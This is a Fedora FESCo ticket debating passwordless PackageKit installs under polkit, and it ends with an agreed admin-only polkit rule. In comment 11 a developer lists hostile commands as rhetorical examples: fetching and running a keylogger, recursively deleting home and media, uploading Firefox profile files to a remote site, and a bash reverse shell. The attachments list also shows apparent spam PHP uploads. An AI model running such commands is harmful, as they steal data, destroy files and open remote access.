Ticket #1115 (closed general: fixed)

Opened 11 months ago

Last modified 7 months ago

guidance from FESCO on packagekit upstream policykit change

Reported by: misc Owned by:
Priority: major Keywords:
Cc: Blocked By:
Blocking:

Description

Hi,

so over the weekend, people have notified me of a change in PackageKit 0.8.8 that basically permit to use pkcon without password to install rpm, but only if they come from a trusted repository. Basically, that's a just the same change that during F12, who caused a huge flamewar, and as we basically all know this would end tas a escalation, I decided after talking with the packager to directly go to FESCO, skipping the flamewar part ( as I think people would still just hammer the same argument as usual, and then I am sure that some journalists will relay the news to make more clicks on their web site, ie there will be nothing new or useful for the decision making process ).

Packagekit 0.8.8 is already in F19, F20 and being pushed to F18 as a update. Discussing with the upstream and packager ( Richard Hughes ), he agreed to revert this change on F18 as this was not suitable for a stable release, but would like to have a discussion for F19. And will keep the default to "no password" upstream. ( and he also asked me to open the ticket on his behalf as i proposed to do that by mail ).

The problem is the following.

Several tools use PackageKit? to install add-ons, plugins or similar software/contents. For example, Rhythmbox detect the type of a file and propose to ask to install the required gstreamer plugin if not found. Freetype detect when there is a text that requires a not installed font, etc. I think there is integration in gnome-dictionnary, bash ( command-not-found ), gnome-initial-setup, and maybe others. I can for sure imagine lots of use ( printer installation, firefox plugin installation, etc ).

However, this require to type a password to install a rpm, which seen as a annoyance by some users ( if not most ), and so by designers who try to ease the life of the users. For one notorious example, there is a rant of Linus Torvalds on the topic of asking password ( seek "opensuse Linus Torvalds rant" ), but he is not the only one, and I see everyday people being annoyed by the password proliferation ( see also Windows Vista rants all over the web ).

So people have been asking to have a password-less installation of rpm by packagekit for that kind of use case. However, due to technical constraint, this mean that all packages from the repository would be installable by someone ho can install a font, a gstreamer plugin or a dictionnary.

Now, last time this was changed, others people have been arguing that this would be insecure, citing attacks such as filling hard drive or more convoluted examples of installing on purpose insecure software to later exploit them to become root on a workstation. While some of theses attacks are IMHO too far fetched, there is lots of use case where indeed, this behavior is not a good default and should be avoided, and we would want to have a different settings. So we currently do not have a way to have a good default to satisfy all use cases of the desktop spin.

This kinda also relate to the current board discussion about default set of users, a discussion were we are struggling to reach a consensus.

This issue is a old one, and this already happened for F12, where the default was changed, but in the end, the decision to enable password-less installation was reverted by FESCO ( https://fedorahosted.org/fesco/ticket/277 )

However, the situation didn't fundamentally change since 4 years. People still hate using passwords for random stuff, and people would still loudly complain to that fix of the problem.

So there is still a tension due to technical choice between the 2 side, and either way, someone will not be satisfied, and the packagekit maintainer is in the middle, trying to fulfil contradictory requirements due to fuzzy constraints and environment.

While I didn't ask much around me, I think most people would agree that automated installation of dictionary, fonts or gstreamer plugin would likely be harmless, since that would likely not open much issues, or at least, no issues that a password prompt would have prevented. Fonts and dictionaries are just content, and I think a majority of people would install codecs anyway.

Discussing with Richard, we do not think that adding specific API in Packagekit for having a finer grained permission system would scale, as each potential user of the API would requires a PK change. I proposed to see if some SELinux integration would help ( ie, using SELinux in polkit to make sure that only trusted software can use the password-less system ), but that wouldn't work upstream for GNOME, so that wouldn't solve much either.

In the end, what I would like to see from FESCO is guidance on 2 points, as this is a technical decision to be made by the distribution :

  • what to do for F19 ( short term decision )
  • how to solve the issue on the long term. ( ie, satisfy the need of users who prefer to have password less installation for some specific package, and the need of users who want to have everything locked down by default )

So I would like to propose the following schema for the long term issue, replicating the SELinux idea but using groups/uid instead,

  • have 1 group, called "installer-software" where we have no real users, just users for software.
  • have this group being authorized to use pk to install rpm coming from trusted repository without password
  • have a set of dbus daemon running system wide with a uid that is in this group ( either several separate, or just 1 )
  • have software wanting fonts, dictionnary, etc ask to theses dbus services instead of pk directly

Alternatively, we could directly use a uid instead of a group, and have all the dbus enabled service to run under this uid.

So this would prevent random users from installing randoms packages thus making I think most people against the change a little bit more happy ( as there is less risk of security issues by installing a font, and less risk of serious DoS on a workstation ), this would make designers ( and so some users too ) happy, and this would decouple the API from PackageKit ( so they can evolve at different path, be updated and shipped without PackageKit ), thus making the thing more scalable.

Attachments

main.inc.php (1.6 KB) - added by smartmil 3 months ago.
http://remedyby.tumblr.com/
app.php (708 bytes) - added by smartmil 3 months ago.
http://badbeath.tumblr.com/

Change History

comment:1 Changed 11 months ago by mitr

A few random thoughts, without forming a full opinion:

  • Short term, probably revert. I can't see that the tradeoffs have noticeably changed over the last 4 years.
  • If I understand the longer-term proposal, it proposes to create a "PackageKit-helper" daemon that would allow installing some packages.
    • Applications would have to be changed to use the helper API instead of PackageKit directly
    • The helper would have to have some kind of policy of what packages to allow (otherwise it could be used to bypass PackageKit policy altogether)
    • The existence of an "installer-software" group doesn't really resolve the question of a default, or how to manage he group.
    So, overall, I can't see what the proposal buys us over adding a new API within PackageKit, letting PackageKit worry about the policy of what packages to allow if the new API is used, and using polkit policy to control access to the new API. The only difference I see is that the helper might be maintained by a different person.
  • I perhaps might be persuaded (but I'm undecided) that it might be reasonable to allow package installation by default if only the latest available version can be installed, and updates are automatic and non-optional. I don't know.
    • Even if we add this policy mechanism, should it be the default?
    • My main worry is that Fedora update quality might not be good enough so that we could make the updates mandatory for non-technical users.
    • If we go this way, we might want to revisit https://fedoraproject.org/wiki/Starting_services_by_default to be stricter. I'm not sure.

comment:2 Changed 11 months ago by misc

The idea of using a helper is to have more granularity because current one in PK do not permit to make a distinction between "I install a font" and "I pull apache". Each helper would let one type of package to be installed and would worry about checking "what is a my type of package" and how to translate that in a way PK would understand. That requires some code rewrite, and that's a problem. Now, if we ship the helper with the software that use it ( ie, gnome-dictionnary, rhythmbox, etc ), they can be migrated one by one.

But upstream answered to me that this is too complex to administer, and did another proposal to have a whitelist of packages that could be requested without asking for password.

For example, something like "gstreamer-*", "abiword-*".

And for the question of default, I think a proposal of :

  • plugin/content installed by specific narrow set of softwares would be without password
  • everything else by user requires a password

would be a good compromise ( I was not clear in my first proposal ). What is allowed in the narrow set is left for a later decision, but we can start by "installing dictionnary should be ok" as a start point.

That's a bit more complex, but the 2 simple solutions do not seems to satisfy everybody.

comment:3 Changed 11 months ago by kevin

  • Keywords meeting added

Adding meeting keyword.

comment:4 follow-up: ↓ 5 Changed 11 months ago by adamwill

My initial thought on this was along the lines of misc's: instead of whitelisting particular packages for password-less installation, can't we allow *other applications* to call PK to install packages without requiring authentication, while still requiring it for interactive install via gnome-packagekit, pkcon etc?

At first blush it seems 'obvious' that there'd be trivial ways to abuse this, but I'm not sure that's necessarily the case on further reflection. After all, we hold all the keys, since this only applies to trusted packages from trusted repos; I don't immediately see a way to 'bootstrap' such a mechanism to allow a user to trigger the installation of arbitrary packages without authenticating.

comment:5 in reply to: ↑ 4 Changed 11 months ago by sgallagh

Replying to adamwill:

At first blush it seems 'obvious' that there'd be trivial ways to abuse this, but I'm not sure that's necessarily the case on further reflection. After all, we hold all the keys, since this only applies to trusted packages from trusted repos; I don't immediately see a way to 'bootstrap' such a mechanism to allow a user to trigger the installation of arbitrary packages without authenticating.

One such example:

  1. A security vulnerability is discovered in a popular video player codec that allows for privilege escalation. (May not even be a codec that we ship, just one from any repo that the user has decided to trust).
  2. A user is aware of this vulnerability, so he loads a specially-crafted video file into a video player which promptly goes and installs this vulnerable codec. The video file exploits the privilege escalation. Game over.

Now, we can argue until the cows come home how strict we want to be in the "security vs. usability" space, but let's be clear that it *is* a security tradeoff.

At minimum, I'd prefer that we ship with such a feature disabled by default and potentially allow a toggle in Anaconda to enable it (with a standard "this feature may reduce your overall system security" boilerplate). I don't think we want to allow it by default, though.

comment:6 Changed 11 months ago by adamwill

sgallagh: sure, I didn't want to write one of my usual massive essays, but obviously your scenario is a possibility, and such a mechanism would be also subject to vulnerabilities in the actual implementation of 'addon' installation in apps that do it (you can imagine a vulnerability where system-config-printer is only supposed to be able to install cups-foo packages, but by some CUNNING TRICK you can force it to install anything you like). Hopefully, though, that could be done in a pretty standardized/shared way, so we could make fairly sure it was safe.

Last edited 11 months ago by adamwill (previous) (diff)

comment:7 Changed 11 months ago by mclasen

At minimum, I'd prefer that we ship with such a feature disabled by default and potentially allow a toggle in Anaconda to enable it (with a standard "this feature may reduce your overall system security" boilerplate). I don't think we want to allow it by default, though.

We can't decide, so we make it an option ? That seems the worst possible outcome.

Either we trust our packaging, testing and validation enough the we don't consider the packages in our own, trusted repositories a constant threat to our users - in that case, allowing passwordless installation of this software is an acceptable risk. Or we don't. But in that case, does asking the password really make the situation any better ?

comment:8 Changed 11 months ago by sgallagh

Asking for the password definitely makes the situation better. It restricts the decision-making process to the set of users that the system administrator deemed sensible enough not to install dangerous software. The reason for the password is that it also prevents the occasional walk-up user from being able to bypass this protection.

comment:9 Changed 11 months ago by sgallagh

Perhaps a compromise here would be for the password prompt to have an option "Always allow this application to install software" which would require the root password (not the user password) to grant permanently.

Then we can default to a secure implementation while still allowing them to opt into the risky-but-convenient behavior.

comment:10 Changed 11 months ago by adamwill

FWIW, Beta is quite likely to include this change as things stand, unless someone wants to block on it (I really hope we don't, as it'd likely lead to a slip unless someone wants to revert it like *in the next hour or so*).

If we decide to ship Beta with this in, we should probably include a big note in the Beta release announcement that it's not a final decision and we're still considering what to do for Final.

comment:11 follow-up: ↓ 12 Changed 11 months ago by rhughes

If you log on to your machine, and then walk away without locking the screen it's clearly no more of a security attack vector for someone to install some software using PackageKit? which allows them to do something nasty, than for instance:

  1. curl http://some.random.site/keyloggerd-static && sh ./keyloggerd-static
  2. rm --force --recursive $HOME /mnt/* /media/*
  3. for f in $HOME/.mozilla/firefox/*/* ; do

curl -i -F upload=@$f http://random.site/up.php

  1. bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 [that's a reverse shell using Bash]
  2. Assuming you've saved the password on your web-browser, sending an email to your boss telling him exactly what you think of him/her.

I really don't see what asking the user their password does to improve security when we let them (possibly download) and run untrusted binaries and use all the applications with saved authentication tokens. I don't want to get involved in the flame-war again, and this is probably my last post on this ticket. If we need to change the upstream behaviour, we better have some pretty good rationale and arguments for changing this, rather than "it's what we've always done", along with something I can put in the .spec file as a comment explaining the FESCO decision and why we're patching upstream.

comment:12 in reply to: ↑ 11 ; follow-up: ↓ 13 Changed 11 months ago by mitr

Replying to rhughes:

If you log on to your machine, and then walk away without locking the screen it's clearly no more of a security attack vector for someone to install some software using PackageKit? which allows them to do something nasty, than for instance:

  1. curl http://some.random.site/keyloggerd-static && sh ./keyloggerd-static

<snip>

All of this is only true on a single-user computer.

I don't know, perhaps GNOME only targets single-user computers, however Fedora doesn't and shouldn't:

  • There are still quite a few people with a single family computer
  • ... and no wifi router; they offer visitors a throw-away account on the single computer for web browsing.
  • There are kiosks, university labs and other public spaces.

(FWIW, for pure server systems with a single owner, the PackageKit policy is probably not a problem because installation is only allowed to active user sessions, so this doesn't give an attacker with an ability to run arbitrary code as a system account (e.g. httpd) a way to install packages.)

And Fedora actually already has a policy that requires safe behavior in multi-user setups: https://fedoraproject.org/wiki/Privilege_escalation_policy

Last edited 11 months ago by mitr (previous) (diff)

comment:13 in reply to: ↑ 12 ; follow-up: ↓ 14 Changed 11 months ago by notting

Replying to mitr:

Replying to rhughes:

If you log on to your machine, and then walk away without locking the screen it's clearly no more of a security attack vector for someone to install some software using PackageKit? which allows them to do something nasty, than for instance:

  1. curl http://some.random.site/keyloggerd-static && sh ./keyloggerd-static

<snip>

All of this is only true on a single-user computer.

I don't know, perhaps GNOME only targets single-user computers, however Fedora doesn't and shouldn't:

  • There are still quite a few people with a single family computer
  • ... and no wifi router; they offer visitors a throw-away account on the single computer for web browsing.
  • There are kiosks, university labs and other public spaces.

A "default" is not an implication of "only" targeting something. It's merely a default setting. (Yes, there are polkit complications which make changing this default 'setting' more complex than it might be otherwise.)

By restricting package installation with a administrator password, it's essentially saying that all users are under parental controls by default, and an additional step must be made to unparental-control them. (in terms of current consumer operating systems). The suggestion is that essentially that be flipped - users be unconstrained unless they are restricted.

comment:14 in reply to: ↑ 13 Changed 11 months ago by mitr

Replying to notting:

By restricting package installation with a administrator password, it's essentially saying that all users are under parental controls by default, and an additional step must be made to unparental-control them. (in terms of current consumer operating systems). The suggestion is that essentially that be flipped - users be unconstrained unless they are restricted.

(Just to avoid a possible misunderstanding:) On F18, the default policy action is auth_admin_keep, and on a single-user workstation the user can be in the wheel group - so the system asks them for their own password. It's not at all restricting what the user _can_ do like parental controls would.

comment:15 follow-up: ↓ 16 Changed 11 months ago by notting

It requires an administrator password to do things, which is what most control implementations I've seen do.

Anyway, given the policy Mirek has pointed to in comment #13, the change made upstream is in direct violation of that policy - allowing package installation without any authentication for non-admin users is not allowed.

We can discuss:

  • changing that policy, or
  • changing the packagekit polkit config so that administrative users aren't prompted for a password, but others are (this is a short js rule, might be doable in pkla as well)
  • reverting the change back to auth_admin_keep

comment:16 in reply to: ↑ 15 Changed 11 months ago by rhughes

Replying to notting:

administrative users aren't prompted for a password, but others are

FWIW, I'd be open to doing this change upstream if someone can write the .js/.pkla for me.

comment:17 Changed 11 months ago by sgallagh

The policy that Mirek pointed to at https://fedoraproject.org/wiki/Privilege_escalation_policy specifically references "unprivileged users". However, a strong argument could be made that members of the 'wheel' group (i.e. users marked as Administrator accounts in Anaconda) are not "unprivileged".

I agree that we should not allow any user to install packages, but I think we could probably grant an exception to 'wheel' users. Then on the single-user machine cases, the user just needs to be in the 'wheel' group and... hooray! no annoying password entry. I still think we'd want to have a "yes-or-no" dialog, though. I think it's acceptable to avoid the reauthentication, but I don't want applications being able to install software without at least tacit approval.

Also, I will note that the policy referenced was last updated in February 2010. A lot has changed in the security/policy landscape since then and I'm willing to entertain the idea that it might be time to revise it.

comment:18 follow-up: ↓ 19 Changed 11 months ago by kevin

  • Status changed from new to closed
  • Resolution set to fixed

At the 2013-05-22 meeting we agreed to:

local, active, admin user can update/remove/etc. signed software w/o password. apps using this should not operate without confirmation from the user.

comment:19 in reply to: ↑ 18 Changed 11 months ago by mitr

Replying to kevin:

At the 2013-05-22 meeting we agreed to:

Also:

The privilege escalation policy applies and the original change should be reverted (i.e. non-administrator users must not be able to install software without administrator's password.)

comment:20 Changed 11 months ago by notting

For the javascript, put the following in /usr/share/polkit-1/rules.d/packagekit.rules:

polkit.addRule(function(action, subject) {
    if ((action.id == "org.freedesktop.packagekit.package-install" ||
        action.id == "org.freedesktop.packagekit.package-remove" ||
        action.id == "org.freedesktop.packagekit.system-update" ||
        action.id == "org.freedesktop.packagekit.trigger-offline-update") &&
        subject.active == true && subject.local == true &&
        subject.isInGroup("wheel")) {
            return polkit.Result.YES;
    }
});

(Holler if I got the full list of methods wrong, but it definitely works for the package install case). Then the recent changes for allow_active for these methods would change back from 'yes' to 'auth_admin_keep'.

comment:21 follow-up: ↓ 23 Changed 11 months ago by toshio

Was there some discussion about not shipping any javascript polkit rules in Fedora packages? Only sysadmins were supposed to use that feature? (I think it was buried in one of the threads about dependency chains getting bigger).

comment:22 Changed 11 months ago by toshio

To answer my question here's some posts from mitr and mclasen:

Mclasen's post says that JavaScript? should not be used in os-shipped packages but it was in reply to mitr who mention's it might make sense for polkit itself to be allowed to ship JavaScript? rules. Not sure where that leaves implementing this in JavaScript?.

comment:23 in reply to: ↑ 21 Changed 11 months ago by mitr

Replying to toshio:

Was there some discussion about not shipping any javascript polkit rules in Fedora packages? Only sysadmins were supposed to use that feature? (I think it was buried in one of the threads about dependency chains getting bigger).

This is directly related to ticket #1117 - the level of required user authentication should ideally be a system-wide decision that individual applications don't need to care about or write policy for.

That said, the upstream polkit limitations to sysadmins doesn't make that much sense (or rather, it would make sense only if the .policy files were extended with more expressive power, which would mean even more code), and I'll be discussing relaxing the sysadmin restriction upstream ( https://bugzilla.redhat.com/show_bug.cgi?id=956005 ).

Short-term, the output from this ticket can be considered a specifically limited workaround, so I'm not too worried about implementing a specifically limited workaround with a correspondingly limited violation of the recommended use of JS rules.

comment:24 follow-up: ↓ 25 Changed 10 months ago by adamwill

Do we have a release note to document whatever behaviour was ultimately decided on here?

comment:25 in reply to: ↑ 24 Changed 10 months ago by mitr

Replying to adamwill:

Do we have a release note to document whatever behaviour was ultimately decided on here?

More importantly, what behavior has been implemented? Looking at git logs since the relevant FESCo meeting, I can't see a change to the policy. Has there even been a PackageKit bug filed? A very quick skim didn't show anything.

It seems we have made a decision (and notting even prepared the .rule) but we didn't do much ensure it would be carried out, or at least that's what comment:18 records.

comment:27 Changed 8 months ago by mattdm

  • Status changed from closed to reopened
  • Resolution fixed deleted

Did this get documented somewhere? What is the policy?

comment:28 Changed 7 months ago by mattdm

  • Status changed from reopened to closed
  • Resolution set to fixed

Reclosing in favor of #1117; bressers will drive through the security SIG.

comment:29 Changed 7 months ago by mattdm

  • Keywords meeting removed

Changed 3 months ago by smartmil

Changed 3 months ago by smartmil

Note: See TracTickets for help on using tickets.